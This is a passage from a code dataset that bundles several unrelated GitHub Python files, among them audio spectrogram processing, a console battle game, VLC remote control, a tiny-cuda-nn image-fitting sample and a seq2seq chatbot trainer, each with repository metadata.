1\n\nsns.set()\nsns.scatterplot(x='rbl0', y='rbl1', hue='shortest_path01', data=df,)\nplt.show()\n\n\n","repo_name":"Zhang-Zhiyuan-zzy/AIChemistry","sub_path":"CSDmining/main_code/visualization of chelating.py","file_name":"visualization of chelating.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70106247782","text":"import xml.etree.cElementTree as ET\nimport urllib2\n\ntree = ET.parse(\"country_data.xml\")\nroot = tree.getroot()\n\n\n#for country in root.findall('country'):\n#\trank = country.find('rank').text\n#\tname = country.get('name')\n#\tgdp = country.find('gdppc').text\n#\tprint(name, rank, gdp)\n\nfor i in range(3):\n\ttree = ET.ElementTree(file=urllib2.urlopen('http://stackoverflow.com/questions/21483959/how-can-get-usdjpycurrency-rates-with-pandas-and-yahoo-finance'))\n\n\troot = tree.getroot()\n\troot.tag, root.attrib","repo_name":"rhjames/src","sub_path":"Python/currency.py","file_name":"currency.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"13513059784","text":"import librosa as lr\n\nimport matplotlib.pyplot as plt\nimport scipy.io.wavfile as wav\nimport numpy as np\nimport random\nfrom PIL import Image\nfrom PIL import ImageOps\n\n\ndef normalize(arr):\n max_value = np.max(arr)\n min_value = np.min(arr)\n arr = (arr - min_value) / (max_value - min_value)\n return arr\n\ndef scale(arr, k):\n arr = arr*k\n return arr.astype(np.int32)\n\ndef get_offsets(w, l, n, mode='random'):\n if mode is 'random':\n return get_random_offsets(w, l, n)\n elif mode is 'uniform':\n return get_uniform_offsets(w, l, n)\n elif mode is 'gauss':\n return get_gauss_offsets(w, l, n)\n else:\n return get_random_offsets(w, l, n)\n\ndef get_random_offsets(w, l, n):\n offsets = []\n i = 0\n while i < n:\n offset = random.randint(0, w-l-1)\n if offset in offsets:\n continue\n else:\n i += 1\n offsets.append(offset)\n offsets.append(offset+l)\n return offsets\n\ndef get_uniform_offsets(w, l, n):\n starts = np.linspace(0, w-l-1, num=n, dtype=int)\n offsets = []\n for start in starts:\n offsets.append(start)\n offsets.append(start+l)\n return offsets\n\ndef get_gauss_offsets(w, l, n):\n offsets = []\n i = 0\n while i < n:\n # distribution with mean (w-l-1)/2 and 3-sigma interval (w-l-1)/2\n offset = int(np.minimum(np.maximum(0, np.random.normal((w-l-1)/2, (w-l-1)/2/3)), w-l-1))\n if offset in offsets:\n continue\n else:\n i += 1\n offsets.append(offset)\n offsets.append(offset+l)\n return offsets\n\ndef get_patches(spec, n, l, mode='random'):\n h, w = spec.shape\n patches = []\n offsets = get_offsets(w, l, n, mode=mode)\n for i in range(0, len(offsets), 2):\n patches.append(spec[:, offsets[i]:offsets[i+1]])\n return patches, offsets\n\ndef plot_patches(patches): \n for i in range(1, len(patches)+1):\n plt.subplot(1, len(patches), i)\n plt.axis('off')\n plt.imshow(patches[i-1], origin=\"lower\")\n plt.show()\n \ndef plot_patches2(patches): \n for i in range(1, len(patches)+1):\n plt.subplot(1, len(patches), i)\n plt.axis('off')\n plt.imshow(patches[i-1])\n plt.show()\n \ndef plot_spec(spec, offsets):\n new = np.copy(spec)\n for i in range(0, len(offsets), 2):\n color = random.randint(200, 256) \n new[:,offsets[i]] = color\n new[:,offsets[i+1]] = color\n plt.subplot(1, 2, 1)\n plt.imshow(new, origin=\"lower\")\n plt.axis('off')\n plt.title('with offsets')\n plt.subplot(1, 2, 2)\n plt.axis('off')\n plt.imshow(spec, origin=\"lower\")\n plt.title('pure')\n plt.show()\n\naudio_paths = [r\"D:/speechrecogn/voxforge/audios_clean\\de_Black_Galaxy-20080530-xzb-de11-101.wav\"]\n\nn_mels=200\ntime = 25\nn = 10\n\nnn_frame_width = 1\npatch_width = int(nn_frame_width*1000/time)\n\n\nfor audio_path in audio_paths:\n plt.set_cmap('binary')\n \n sr, y = wav.read(audio_path)\n \n \n y, sr = lr.load(audio_path, sr=None)\n hop = int(sr/1000*time) # hop length (samples)\n spec = lr.feature.melspectrogram(y=y, sr=sr, n_mels=n_mels, hop_length=hop)\n db = lr.power_to_db(spec, ref=np.max)\n # rescale magnitudes: 0 to 255\n scaled = scale(normalize(db), 255).astype(np.uint8)\n \n patches, offsets = get_patches(scaled, n, patch_width, mode='random')\n plot_patches(patches) \n \n plot_spec(scaled, offsets)\n \n im = Image.fromarray(scaled, mode='L')\n \n im = ImageOps.flip(im)\n \n im.show()\n \n plt.imsave(r\"D:/test.png\", scaled, origin=\"lower\")\n\n\n\n\n\nim = Image.open(r\"D:\\speechrecogn\\voxforge\\audio_spec_full\\de_de_ralfherzog-20080215-de120-de120-86.png\")\n\n\nimport librosa\nimport librosa.display\nimport pandas as pd\nimport os\n\ny, sr = lr.load(audio_path, sr=None)\n\nS = librosa.feature.melspectrogram(y=y, sr=sr, n_mels=200)\ndb = librosa.power_to_db(S, ref=np.max) \ndb = scale(normalize(db), 255).astype(np.int16) \n\nprint(np.min(db), np.max(db))\n\nplt.set_cmap('binary')\nplot_patches([db])\n\nplt.figure(figsize=(10, 4))\nlibrosa.display.specshow(db, y_axis='mel', x_axis='time')\nplt.colorbar(format='%+2.0f dB')\nplt.title('Mel spectrogram')\nplt.tight_layout()\n\n\n\ndf = pd.read_csv(r\"D:\\speechrecogn\\voxforge\\audios_clean_list.csv\")\nfor index, row in df.iterrows():\n file_path = row['file']\n file = os.path.basename(file_path)\n filename, file_extension = os.path.splitext(file)\n lang = row['lang']\n \n y, sr = lr.load(file_path, sr=None)\n S = librosa.feature.melspectrogram(y=y, sr=sr, n_mels=200)\n db = librosa.power_to_db(S, ref=np.max) \n \n db = scale(normalize(db), 255).astype(np.int16) \n \n print(np.min(db), np.max(db))\n","repo_name":"comrados/SpokenLanguageIdentification","sub_path":"voxforge/mfcc test.py","file_name":"mfcc test.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39562699666","text":"import os,time,random\nos.system ('cls||clear')\n\nwhile True:\n\tprint ('\\n来了老弟~, 开始负相桑害~!')\n\tplayer_win = 0\n\tenemy_win = 0\n\tfor round in range(1,4):\n\t\tplayer_life = random.randint(100,150)\n\t\tplayer_attack = random.randint(30,50)\n\t\tenemy_life = random.randint(100,150)\n\t\tenemy_attack = random.randint(30,50)\n\t\ttime.sleep(1)\n\t\tprint (f'''\\n=== Round number {round} ===\nPlayer:\nHP: {player_life}\nAtt: {player_attack}\\n\nEnemy:\nHP: {enemy_life}\nAtt: {enemy_attack}\n====================''')\n\t\n\t\twhile player_life > 0 and enemy_life >0:\n\t\t\tplayer_life = player_life - enemy_attack\n\t\t\tenemy_life = enemy_life - player_attack\n\t\t\ttime.sleep(1)\n\t\t\tprint (f'-- Player attacked, enemy HP left: {enemy_life}')\n\t\t\tprint (f'-- Enemy attacked, player HP left: {player_life}\\n')\n\t\t\t\n\t\tif player_life > 0 and enemy_life <= 0:\n\t\t\tprint ('-- Player wins this round.')\n\t\t\tplayer_win += 1\n\t\telif enemy_life > 0 and player_life <= 0:\n\t\t\tprint ('-- Enemy wins this round.')\n\t\t\tenemy_win += 1\n\t\telse:\n\t\t\tprint (\"-- Both dead, it's a draw.\")\n\t\n\ttime.sleep(1)\n\tprint (f'''\\n=== Final Score ===\n\t\nPlayer win: {player_win}\nEnemy win: {enemy_win}\\n''')\n\t\n\tif player_win > enemy_win:\n\t\tprint ('Player is the final winner.')\n\telif player_win < enemy_win:\n\t\tprint ('Enemy is the final winner.')\n\telse:\n\t\tprint (\"It's a draw, play again.\")\n\tprint ('=' * 20+'\\n')\n\t\n\tplay_again = input('\\n老铁再来一局?: [Y/N]')\n\tif str.upper(play_again) == 'Y':\n\t\tcontinue\n\telse:\n\t\tprint ('\\n拜拜~')\n\t\tbreak\n\t\n","repo_name":"XiaJ8-code5/Python","sub_path":"2player_battle.py","file_name":"2player_battle.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"25662697521","text":"import os\r\nfrom PIL import Image\r\n\r\n# crooping size\r\nwidth = input('Enter Cropping width : ')\r\nheight = input('Enter Cropping height : ')\r\n\r\n\r\n# open folder\r\nos.chdir('images')\r\n\r\n\r\n# putput folder\r\noutput_folder = input('Enter Folder Name : ')\r\nos.makedirs(output_folder, exist_ok=True)\r\n\r\n\r\n# loob over each image\r\nfor image in os.listdir('.'):\r\n if image.endswith(('.png','.jpg','.jpeg')):\r\n im = image.open(image)\r\n width , height = im.size\r\n\r\n if width > height :\r\n height = int((fit_size/width)*height)\r\n width = fit_size\r\n \r\n else :\r\n width = int((fit_size/height)*width)\r\n height = fit_size\r\n \r\n im1 = im.resize(( width, height))\r\n im1.save(f\"{output_folder}/{image}\")\r\n\r\n\r\n\r\n","repo_name":"AbdullahBakir97/image-cropping","sub_path":"image cropping.py","file_name":"image cropping.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21211662206","text":"import typing as tp\nimport attr\nimport logging\nimport time\n\nfrom ExperimentActions import ExperimentAction, NoninterruptibleAction\nfrom . import VLCRemote\nfrom Misc import Singleton\n\nlogger = logging.getLogger(__name__)\n\n\n\n@attr.s(auto_attribs=True)\nclass _VLCRemoteManager(metaclass=Singleton):\n \"\"\"\n Singleton class to manage potentially multiple VLC instances each with their own remote.\n \"\"\"\n _remotes: dict[str | None, VLCRemote] = attr.ib(init=False, factory=dict)\n\n def __attrs_post_init__(self):\n pass\n\n def hasRemote(self, key: str) -> bool:\n return key in self._remotes\n\n def getRemote(self, key: str | None = None) -> VLCRemote:\n if key not in self._remotes:\n port = 4212 + len(self._remotes)\n logger.debug(f'Instantiating VLCRemote {key} on port {port}')\n self._remotes[key] = VLCRemote(playerTitle=key, \n telnetPort=port)\n\n return self._remotes[key]\n\n\n@attr.s(auto_attribs=True)\nclass VLCControlAction(NoninterruptibleAction):\n key: tp.ClassVar[str] = 'VLC'\n cmd: str = ''\n\n _remoteManager: _VLCRemoteManager = attr.ib(init=False, factory=_VLCRemoteManager)\n _vlc: VLCRemote | None = attr.ib(init=False, default=None)\n\n def __attrs_post_init__(self):\n super().__attrs_post_init__()\n\n def _start(self):\n cmdAndArgs = self.cmd.split(' ')\n cmd = cmdAndArgs[0]\n args = cmdAndArgs[1:]\n\n if cmd == 'instance':\n # first arg is an instanceKey (or variable / statement without spaces referring to an instanceKey) referencing a specific player instance\n instanceKey = self._evalStr(args[0])\n logger.info(f'Operating on VLC instance {instanceKey}')\n vlc = self._remoteManager.getRemote(key=instanceKey)\n cmd = args[1] # next arg is command to apply to specified instance\n args = args[2:] # everything else is args for the command\n \n else:\n # get default instance\n logger.info('Operating on default VLC instance')\n vlc = self._remoteManager.getRemote()\n\n if cmd in ('play', 'pause', 'enableRepeat'):\n assert len(args)==0\n logger.info('VLC %s' % cmd)\n getattr(vlc, cmd)()\n elif cmd == 'open':\n # re-join args since spaces may have been included in path\n args = [' '.join(args)]\n\n assert len(args)==1\n # arg should be a filepath to open\n filepath = self._evalStr(args[0])\n vlc.load(filepath)\n logger.info('VLC loaded %s' % filepath)\n elif cmd == 'getVolume':\n assert len(args)==1\n # arg should be a variable name to which to save volume\n destVarName = args[0]\n \n volume = vlc.getVolume()\n logger.info(f'Got volume = {volume}')\n\n exec(f'{destVarName} = {volume}', globals(), self.locals)\n\n elif cmd == 'setVolume':\n assert len(args)==1\n # arg should be a numeric value or a variable name containing a numeric value\n newVolume = float(self._evalStr(args[0]))\n logger.info(f'Setting volume = {newVolume}')\n vlc.setVolume(newVolume)\n\n else:\n raise NotImplementedError()\n\n self._onStop() # return immediately, though may be playing in background\n\n @classmethod\n def fromString(cls, s: str, **kwargs):\n return cls(cmd=s, **kwargs)\n\n\n\n\n\n","repo_name":"chriscline/ExperimentAutomator","sub_path":"VLCControl/VLCControlAction.py","file_name":"VLCControlAction.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"21905055354","text":"import FWCore.ParameterSet.Config as cms\n\nelectronOnElectron = cms.EDProducer(\n \"TPElectronOnElectron\",\n enable = cms.bool(True),\n #find the leptons that fail the ID cuts\n topCollection = cms.InputTag('susyElectron'),\n bottomCollection = cms.InputTag('cmgElectronSel'),\n #\n name = cms.untracked.string('electronOnElectron'),\n verbose = cms.untracked.bool(False)\n)\n\n","repo_name":"anantoni/CMG","sub_path":"CMGTools/Susy/python/topprojections/electronprojector_cff.py","file_name":"electronprojector_cff.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"72143735780","text":"import argparse\nimport commentjson as json\nimport numpy as np\nimport os\nimport sys\nimport torch\nimport time\n\ntry:\n\timport tinycudann as tcnn\nexcept ImportError:\n\tprint(\"This sample requires the tiny-cuda-nn extension for PyTorch.\")\n\tprint(\"You can install it by running:\")\n\tprint(\"============================================================\")\n\tprint(\"tiny-cuda-nn$ cd bindings/torch\")\n\tprint(\"tiny-cuda-nn/bindings/torch$ python setup.py install\")\n\tprint(\"============================================================\")\n\tsys.exit()\n\nSCRIPTS_DIR = os.path.join(os.path.dirname(os.path.dirname(__file__)), \"scripts\")\nsys.path.insert(0, SCRIPTS_DIR)\n\nfrom common import read_image, write_image, ROOT_DIR\n\nDATA_DIR = os.path.join(ROOT_DIR, \"data\")\nIMAGES_DIR = os.path.join(DATA_DIR, \"images\")\n\nclass Image(torch.nn.Module):\n\tdef __init__(self, filename, device):\n\t\tsuper(Image, self).__init__()\n\t\tself.data = read_image(filename)\n\t\tself.shape = self.data.shape\n\t\tself.data = torch.from_numpy(self.data).float().to(device)\n\n\tdef forward(self, xs):\n\t\twith torch.no_grad():\n\t\t\t# Bilinearly filtered lookup from the image. Not super fast,\n\t\t\t# but less than ~20% of the overall runtime of this example.\n\t\t\tshape = self.shape\n\n\t\t\txs = xs * torch.tensor([shape[1], shape[0]], device=xs.device).float()\n\t\t\tindices = xs.long()\n\t\t\tlerp_weights = xs - indices.float()\n\n\t\t\tx0 = indices[:, 0].clamp(min=0, max=shape[1]-1)\n\t\t\ty0 = indices[:, 1].clamp(min=0, max=shape[0]-1)\n\t\t\tx1 = (x0 + 1).clamp(max=shape[1]-1)\n\t\t\ty1 = (y0 + 1).clamp(max=shape[0]-1)\n\n\t\t\treturn (\n\t\t\t\tself.data[y0, x0] * (1.0 - lerp_weights[:,0:1]) * (1.0 - lerp_weights[:,1:2]) +\n\t\t\t\tself.data[y0, x1] * lerp_weights[:,0:1] * (1.0 - lerp_weights[:,1:2]) +\n\t\t\t\tself.data[y1, x0] * (1.0 - lerp_weights[:,0:1]) * lerp_weights[:,1:2] +\n\t\t\t\tself.data[y1, x1] * lerp_weights[:,0:1] * lerp_weights[:,1:2]\n\t\t\t)\n\ndef get_args():\n\tparser = argparse.ArgumentParser(description=\"Image benchmark using PyTorch bindings.\")\n\n\tparser.add_argument(\"image\", nargs=\"?\", default=\"data/images/albert.jpg\", help=\"Image to match\")\n\tparser.add_argument(\"config\", nargs=\"?\", default=\"data/config_hash.json\", help=\"JSON config for tiny-cuda-nn\")\n\tparser.add_argument(\"n_steps\", nargs=\"?\", type=int, default=10000000, help=\"Number of training steps\")\n\tparser.add_argument(\"result_filename\", nargs=\"?\", default=\"\", help=\"Number of training steps\")\n\n\targs = parser.parse_args()\n\treturn args\n\nif __name__ == \"__main__\":\n\tprint(\"================================================================\")\n\tprint(\"This script replicates the behavior of the native CUDA example \")\n\tprint(\"mlp_learning_an_image.cu using tiny-cuda-nn's PyTorch extension.\")\n\tprint(\"================================================================\")\n\n\tprint(f\"Using PyTorch version {torch.__version__} with CUDA {torch.version.cuda}\")\n\n\tdevice = torch.device(\"cuda\")\n\targs = get_args()\n\n\twith open(args.config) as config_file:\n\t\tconfig = json.load(config_file)\n\n\timage = Image(args.image, device)\n\tn_channels = image.data.shape[2]\n\n\tmodel = tcnn.NetworkWithInputEncoding(n_input_dims=2, n_output_dims=n_channels, encoding_config=config[\"encoding\"], network_config=config[\"network\"]).to(device)\n\tprint(model)\n\n\t#===================================================================================================\n\t# The following is equivalent to the above, but slower. Only use \"naked\" tcnn.Encoding and\n\t# tcnn.Network when you don't want to combine them. Otherwise, use tcnn.NetworkWithInputEncoding.\n\t#===================================================================================================\n\t# encoding = tcnn.Encoding(n_input_dims=2, encoding_config=config[\"encoding\"])\n\t# network = tcnn.Network(n_input_dims=encoding.n_output_dims, n_output_dims=n_channels, network_config=config[\"network\"])\n\t# model = torch.nn.Sequential(encoding, network)\n\n\toptimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n\n\t# Variables for saving/displaying image results\n\tresolution = image.data.shape[0:2]\n\timg_shape = resolution + torch.Size([image.data.shape[2]])\n\tn_pixels = resolution[0] * resolution[1]\n\n\thalf_dx = 0.5 / resolution[0]\n\thalf_dy = 0.5 / resolution[1]\n\txs = torch.linspace(half_dx, 1-half_dx, resolution[0], device=device)\n\tys = torch.linspace(half_dy, 1-half_dy, resolution[1], device=device)\n\txv, yv = torch.meshgrid([xs, ys])\n\n\txy = torch.stack((yv.flatten(), xv.flatten())).t()\n\n\tpath = f\"reference.jpg\"\n\tprint(f\"Writing '{path}'... \", end=\"\")\n\twrite_image(path, image(xy).reshape(img_shape).detach().cpu().numpy())\n\tprint(\"done.\")\n\n\tprev_time = time.perf_counter()\n\n\tbatch_size = 2**18\n\tinterval = 10\n\n\tprint(f\"Beginning optimization with {args.n_steps} training steps.\")\n\n\ttry:\n\t\tbatch = torch.rand([batch_size, 2], device=device, dtype=torch.float32)\n\t\ttraced_image = torch.jit.trace(image, batch)\n\texcept:\n\t\t# If tracing causes an error, fall back to regular execution\n\t\tprint(f\"WARNING: PyTorch JIT trace failed. Performance will be slightly worse than regular.\")\n\t\ttraced_image = image\n\n\tfor i in range(args.n_steps):\n\t\tbatch = torch.rand([batch_size, 2], device=device, dtype=torch.float32)\n\t\ttargets = traced_image(batch)\n\t\toutput = model(batch)\n\n\t\trelative_l2_error = (output - targets.to(output.dtype))**2 / (output.detach()**2 + 0.01)\n\t\tloss = relative_l2_error.mean()\n\n\t\toptimizer.zero_grad()\n\t\tloss.backward()\n\t\toptimizer.step()\n\n\t\tif i % interval == 0:\n\t\t\tloss_val = loss.item()\n\t\t\ttorch.cuda.synchronize()\n\t\t\telapsed_time = time.perf_counter() - prev_time\n\t\t\tprint(f\"Step#{i}: loss={loss_val} time={int(elapsed_time*1000000)}[µs]\")\n\n\t\t\tpath = f\"{i}.jpg\"\n\t\t\tprint(f\"Writing '{path}'... \", end=\"\")\n\t\t\twith torch.no_grad():\n\t\t\t\twrite_image(path, model(xy).reshape(img_shape).clamp(0.0, 1.0).detach().cpu().numpy())\n\t\t\tprint(\"done.\")\n\n\t\t\t# Ignore the time spent saving the image\n\t\t\tprev_time = time.perf_counter()\n\n\t\t\tif i > 0 and interval < 1000:\n\t\t\t\tinterval *= 10\n\n\tif args.result_filename:\n\t\tprint(f\"Writing '{args.result_filename}'... \", end=\"\")\n\t\twith torch.no_grad():\n\t\t\twrite_image(args.result_filename, model(xy).reshape(img_shape).clamp(0.0, 1.0).detach().cpu().numpy())\n\t\tprint(\"done.\")\n\n\ttcnn.free_temporary_memory()\n","repo_name":"NVlabs/tiny-cuda-nn","sub_path":"samples/mlp_learning_an_image_pytorch.py","file_name":"mlp_learning_an_image_pytorch.py","file_ext":"py","file_size_in_byte":6156,"program_lang":"python","lang":"en","doc_type":"code","stars":3021,"dataset":"github-code","pt":"35"} +{"seq_id":"19410559168","text":"#!/usr/bin/python3\n\nfrom PIL import Image\nfrom PIL import ImageFilter\nimport pytesseract #image parsing\nfrom picamera import PiCamera\nfrom time import sleep\nimport twl #scrabble dictionary\nimport PySimpleGUI as sg #UI\n\nWORDS = set(twl.iterator())\nLETTER_SCORES = {\"a\": 1, \"b\": 3, \"c\": 3, \"d\": 2,\n \"e\": 1, \"f\": 4, \"g\": 2, \"h\": 4,\n \"i\": 1, \"j\": 8, \"k\": 5, \"l\": 1,\n \"m\": 3, \"n\": 1, \"o\": 1, \"p\": 3,\n \"q\": 10, \"r\": 1, \"s\": 1, \"t\": 1,\n \"u\": 1, \"v\": 4, \"w\": 4, \"x\": 8,\n \"y\": 4, \"z\": 10}\nstarting_text = \"X : 0 \\n X : 0 \\n X : 0 \\n X : 0 \\n X : 0 \\n X : 0 \\n X : 0 \\n X : 0 \\n X : 0 \\n X : 0\"\nTEST = True\n\n# UI\nsg.theme('LightGrey1')\nlayout = [ [sg.Text('XXXXX', justification='center', key='letters', font=(\"Helvetica\", 40))],\n [sg.Text('Top Word Scores:', justification='center', font=(\"Helvetica\", 35))],\n [sg.Multiline(starting_text, size=(40, 20), key='words', font=(\"Helvetica\", 15))],\n [sg.Button('Close', size=(8, 4))]\n ]\nwindow = sg.Window('Scrabble Word Finder', layout, size=(820, 480), resizable=True)\n\ndef take_picture():\n loc = '/home/pi/scrabble/tiles.jpg'\n try:\n camera = PiCamera()\n print(\"Taking Picture...\")\n camera.resolution = (1920, 600)\n camera.iso = 600\n camera.start_preview()\n sleep(1)\n camera.capture(loc)\n camera.stop_preview()\n finally:\n camera.close()\n return loc\n\ndef parse_picture(loc):\n print(\"Parsing Image...\")\n img = Image.open (loc).convert('L')\n\n blackwhite = img.point(lambda x: 0 if x < 166 else 255, '1')\n blackwhite.save(\"tiles_bw.jpg\")\n\n im = Image.open(\"tiles_bw.jpg\")\n smooth_im = im.filter(ImageFilter.SMOOTH_MORE)\n\n text = pytesseract.image_to_string(smooth_im, config='-c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ --psm 7')\n return text\n\ndef get_current_letters():\n loc = take_picture()\n letters = parse_picture(loc).lower()\n print(\"Letters Are: \" + letters)\n letter_list = [x for x in letters]\n letter_list = list(filter(None, letter_list))\n print(letter_list)\n if len(letter_list) < 1:\n return ['a', 'b', 'c', 'd']\n elif TEST == True:\n return ['n', 'h', 'e', 'o', 't', 'p', 'y']\n return letter_list\n\n\ndef get_scrabble_words():\n print(\"Getting Scrabble Dictionary...\")\n return WORDS\n\n\ndef check_valid_words(current_tile_letters, scrabble_words):\n temp_word_array = []\n\n for word in scrabble_words:\n for letter in word:\n if letter not in current_tile_letters:\n break\n elif word.count(letter) > current_tile_letters.count(letter):\n break\n else:\n temp_word_array.append(word)\n continue\n temp_word_array.sort()\n return temp_word_array\n\n\ndef get_top_scoring_words(valid_words):\n word_and_score = dict()\n\n for word in valid_words:\n score = 0\n for letter in word:\n score += LETTER_SCORES.get(letter)\n word_and_score[word] = score\n\n return dict(sorted(word_and_score.items(), key=lambda x: x[1], reverse=True)[:10])\n\n\ndef start_scrabble():\n print(\"Loading Scrabble Word Finder...\")\n scrabble_words = get_scrabble_words() # scrabble dictionary\n\n while(True):\n event, values = window.read(timeout=100)\n\n current_tile_letters = get_current_letters() # my tiles\n valid_words = check_valid_words(current_tile_letters, scrabble_words)\n top_word_scores = get_top_scoring_words(valid_words)\n\n\n letter_String = \" \".join(str(x) for x in current_tile_letters)\n print(letter_String)\n window['letters'].update(letter_String)\n\n print(\"Top Word Scores:\\n\")\n print(\"\\n\".join(\"{}: {}\".format(k, v) for k, v in top_word_scores.items()))\n window['words'].update(\"\\n\".join(\"{}: {}\".format(k, v) for k, v in top_word_scores.items()))\n window.refresh()\n\n if event == sg.WIN_CLOSED or event == 'Close':\t# if user closes window or clicks cancel\n break\n\n window.close()\n\nif __name__ == '__main__':\n start_scrabble()\n","repo_name":"wazcov/devscover-youtube","sub_path":"scrabble/scrabbleWordFinder.py","file_name":"scrabbleWordFinder.py","file_ext":"py","file_size_in_byte":4171,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"35"} +{"seq_id":"35965306179","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch import optim\r\nimport torch.backends.cudnn as cudnn\r\nimport itertools\r\nimport random\r\nimport math\r\nimport os\r\nimport time\r\n\r\nfrom load import SOS_token, EOS_token, PAD_token\r\nfrom model import LuongAttnDecoderRNN\r\nfrom config import MAX_LENGTH, teacher_forcing_ratio, hidden_size, attn_model\r\n\r\n# Set CUDA variables and device settings\r\nUSE_CUDA = torch.cuda.is_available()\r\ndevice = torch.device(\"cuda\" if USE_CUDA else \"cpu\")\r\n\r\n# Check if cudda is enabled\r\ncudnn.benchmark = True\r\n\r\n# Extract indexes from sentences\r\ndef indexesFromSentence(voc, sentence):\r\n return [voc.word2index[word] for word in sentence.split(' ')] + [EOS_token]\r\n\r\n# Pad the date with zeros\r\ndef zeroPadding(l, fillvalue=PAD_token):\r\n return list(itertools.zip_longest(*l, fillvalue=fillvalue))\r\n\r\n# Binary Matrix for masking\r\ndef binaryMatrix(l, value=PAD_token):\r\n m = []\r\n for i, seq in enumerate(l):\r\n m.append([])\r\n for token in seq:\r\n if token == PAD_token:\r\n m[i].append(0)\r\n else:\r\n m[i].append(1)\r\n return m\r\n\r\n# Returns padded input sequence tensor and lengths\r\ndef inputVar(l, voc):\r\n indexes_batch = [indexesFromSentence(voc, sentence) for sentence in l]\r\n lengths = torch.tensor([len(indexes) for indexes in indexes_batch])\r\n padList = zeroPadding(indexes_batch)\r\n padVar = torch.LongTensor(padList)\r\n return padVar, lengths\r\n\r\n# Returns padded target sequence tensor, padding mask, and max target length\r\ndef outputVar(l, voc):\r\n indexes_batch = [indexesFromSentence(voc, sentence) for sentence in l]\r\n max_target_len = max([len(indexes) for indexes in indexes_batch])\r\n padList = zeroPadding(indexes_batch)\r\n mask = binaryMatrix(padList)\r\n mask = torch.ByteTensor(mask)\r\n padVar = torch.LongTensor(padList)\r\n return padVar, mask, max_target_len\r\n\r\n# Returns all items for a given batch of pairs\r\ndef batch2TrainData(voc, pair_batch):\r\n pair_batch.sort(key=lambda x: len(x[0].split(\" \")), reverse=True)\r\n input_batch, output_batch = [], []\r\n for pair in pair_batch:\r\n input_batch.append(pair[0])\r\n output_batch.append(pair[1])\r\n inp, lengths = inputVar(input_batch, voc)\r\n output, mask, max_target_len = outputVar(output_batch, voc)\r\n return inp, lengths, output, mask, max_target_len\r\n\r\n# Loss calculation function\r\ndef maskNLLLoss(inp, target, mask):\r\n nTotal = mask.sum()\r\n crossEntropy = -torch.log(torch.gather(inp, 1,\r\n target.view(-1, 1)).squeeze(1))\r\n loss = crossEntropy.masked_select(mask).mean()\r\n loss = loss.to(device)\r\n return loss, nTotal.item()\r\n\r\n\"\"\"\r\nMain training loop\r\nThis is where all the values are initialised and fed into Encoder and Decoder\r\n\"\"\"\r\ndef train(\r\n input_variable, lengths, target_variable, mask, max_target_len,\r\n encoder, decoder, embedding, encoder_optimizer, decoder_optimizer,\r\n batch_size, clip, max_length=MAX_LENGTH):\r\n\r\n # Zero gradients\r\n encoder_optimizer.zero_grad()\r\n decoder_optimizer.zero_grad()\r\n\r\n # Set device options\r\n input_variable = input_variable.to(device)\r\n lengths = lengths.to(device)\r\n target_variable = target_variable.to(device)\r\n mask = mask.to(device)\r\n\r\n # Initialize variables\r\n loss = 0\r\n print_losses = []\r\n n_totals = 0\r\n\r\n # Forward pass through encoder\r\n encoder_outputs, encoder_hidden = encoder(input_variable, lengths)\r\n\r\n # Create initial decoder input (start with SOS tokens for each sentence)\r\n decoder_input = torch.LongTensor([[SOS_token for _ in range(batch_size)]])\r\n decoder_input = decoder_input.to(device)\r\n\r\n # Set initial decoder hidden state to the encoder's final hidden state\r\n decoder_hidden = encoder_hidden[:decoder.n_layers]\r\n\r\n # Determine if we are using teacher forcing this iteration\r\n use_teacher_forcing = True if random.random() < teacher_forcing_ratio else False\r\n\r\n # Forward batch of sequences through decoder one time step at a time\r\n if use_teacher_forcing:\r\n for t in range(max_target_len):\r\n decoder_output, decoder_hidden = decoder(\r\n decoder_input, decoder_hidden, encoder_outputs\r\n )\r\n # Teacher forcing: next input is current target\r\n decoder_input = target_variable[t].view(1, -1)\r\n # Calculate and accumulate loss\r\n mask_loss, nTotal = maskNLLLoss(\r\n decoder_output, target_variable[t], mask[t])\r\n loss += mask_loss\r\n print_losses.append(mask_loss.item() * nTotal)\r\n n_totals += nTotal\r\n else:\r\n for t in range(max_target_len):\r\n decoder_output, decoder_hidden = decoder(\r\n decoder_input, decoder_hidden, encoder_outputs\r\n )\r\n # No teacher forcing: next input is decoder's own current output\r\n _, topi = decoder_output.topk(1)\r\n decoder_input = torch.LongTensor(\r\n [[topi[i][0] for i in range(batch_size)]])\r\n decoder_input = decoder_input.to(device)\r\n # Calculate and accumulate loss\r\n mask_loss, nTotal = maskNLLLoss(\r\n decoder_output, target_variable[t], mask[t])\r\n loss += mask_loss\r\n print_losses.append(mask_loss.item() * nTotal)\r\n n_totals += nTotal\r\n\r\n # Perform backpropatation\r\n loss.backward()\r\n\r\n # Clip gradients: gradients are modified in place\r\n _ = torch.nn.utils.clip_grad_norm_(encoder.parameters(), clip)\r\n _ = torch.nn.utils.clip_grad_norm_(decoder.parameters(), clip)\r\n\r\n # Adjust model weights\r\n encoder_optimizer.step()\r\n decoder_optimizer.step()\r\n\r\n return sum(print_losses) / n_totals\r\n\r\n\r\n\"\"\"\r\nTrain iteration loop\r\nThis is where all the training happens, sentences are loaded into batches and prepared for training\r\nIn addition, the checkpoint are saved for future or to continue training if something happens\r\n\"\"\"\r\ndef trainIters(\r\n model_name, voc, pairs, encoder, decoder, encoder_optimizer,\r\n 